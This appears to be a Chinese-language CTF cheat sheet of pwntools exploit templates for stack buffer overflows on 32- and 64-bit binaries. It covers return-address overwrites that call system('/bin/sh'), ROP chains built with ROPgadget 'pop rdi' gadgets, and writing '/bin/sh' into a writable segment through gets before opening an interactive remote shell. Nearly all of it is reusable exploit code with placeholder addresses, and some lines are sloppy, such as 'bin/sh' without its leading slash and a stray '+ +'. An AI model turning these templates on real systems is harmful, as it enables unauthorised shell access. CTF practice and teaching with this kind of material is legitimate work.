system('bin/sh') 类型

32位基础模板
1
2
3
4
5
6
7
from pwn import*
host = remote("网址",端口)
cnt = 10
addr = 'bin/sh'地址(16进制)
payload = b'A'*cnt + b'B'*4 + p32(addr)
host.sendline(payload)
host.interactive()
  • cnt:填充数据长度.
  • 后门地址:有 /bin/sh 的函数地址.
64位基础模板(需要处理堆栈平衡)

堆栈平衡:当我们在堆栈中进行堆栈的操作的时候,一定要保证在 ret 这条指令之前,esp 指向的是我们压入栈中的地址,函数执行到 ret 执行之前,堆栈栈顶的地址一定要是 call 指令的下一个地址. 因此我们还需要找一个地址: lev 的地址或者该函数结束的地址(即 retn 的地址)

1
2
3
4
5
6
7
8
from pwn import*
host = remote("网址",端口)
cnt = 10
ex = lev的地址或者该函数结束的地址(16进制)
addr = 'bin/sh'地址(16进制)
payload = b'A'*cnt + b'B'*8 + +p64(ex) + p64(addr)
host.sendline(payload)
host.interactive()

system();'bin/sh' 分开类型

32位模板
1
2
3
4
cnt = 10
sh = "bin/sh"字符串的地址
sys = system函数的地址
payload = b'A'*10 + b'B'*4 + p32(sys) + p32(0) + p32(sh)
64位模板

通过ROPgadget获取rdi地址.

1
ROPgadget --binary pwn --only "pop|ret" | grep rdi
获取ret地址.
1
ROPgadget --binary pwn

1
2
3
4
5
sh = "bin/sh"字符串的地址
sys = system函数的地址
rdi = rdi地址
ret = ret地址
payload = b'A'*10 + b'B'*8 + p64(rdi) + p64(sh) + p64(ret) + p64(sys)

在这个顺序下,首先会使用 rdi 指令将 sh 的地址加载到 rdi 寄存器中,然后通过 ret 指令返回到调用者,从而间接地调用了 system 函数,实现了执行系统命令的目的。

system();'bin/sh' 类型

'bin/sh' 可用 'sh' 代替,也可以用 $0 代替. 用 'sh' 代替时,与前者相同,只是把 'bin/sh' 的地址换成了 'sh' 的地址.

使用 gdb 查看是否有可以进行写权限的数据段,如果有,就可以使用这个段里的数据单元,通过读入函数将 '/bin/sh' 写入到这个数据单元中,在以该数据单元的地址作为参数传入到 system 函数,就可以拼凑出 system(“/bin/sh”).

先使用gdb,在 main 函数处打断点,然后 vmmap 查看可写的数据段,同时在IDA中找到在该段内的变量,该变量的地址就是存储 /bin/sh 的地址.

32位模板
1
2
3
4
5
6
7
8
9
from pwn import*
host = remote("题目地址",端口)
gets_addr = 读入函数的地址
sys_addr = system函数的地址
store_addr = 存储的地址
payload = b'A'* 108 + b'B'*4 + p32(gets_addr) + p32(sys_addr) + p32(store_addr) + p32(store_addr)
host.sendline(payload)
host.sendline('/bin/sh')
host.interactive()
64位模板

通过ROPgadget获取rdi地址.

1
ROPgadget --binary pwn --only "pop|ret" | grep rdi

1
2
3
4
5
6
7
8
9
10
from pwn import*
host = remote("题目地址",端口)
gets_addr = 读入函数的地址
sys_addr = system函数的地址
store_addr = 存储的地址
rdi_addr = rdi地址
payload = b'A'*10 + b'B'*8 + p64(rdi_addr) + p64(store_addr) + p64(gets_addr) + p64(rdi_addr) + p64(store_addr) + p64(sys_addr)
host.sendline(payload)
host.sendline('/bin/sh')
host.interactive()

高级用法

1
2
sendlineafter("字符串",payload)
#在读取到指定字符串时发送payload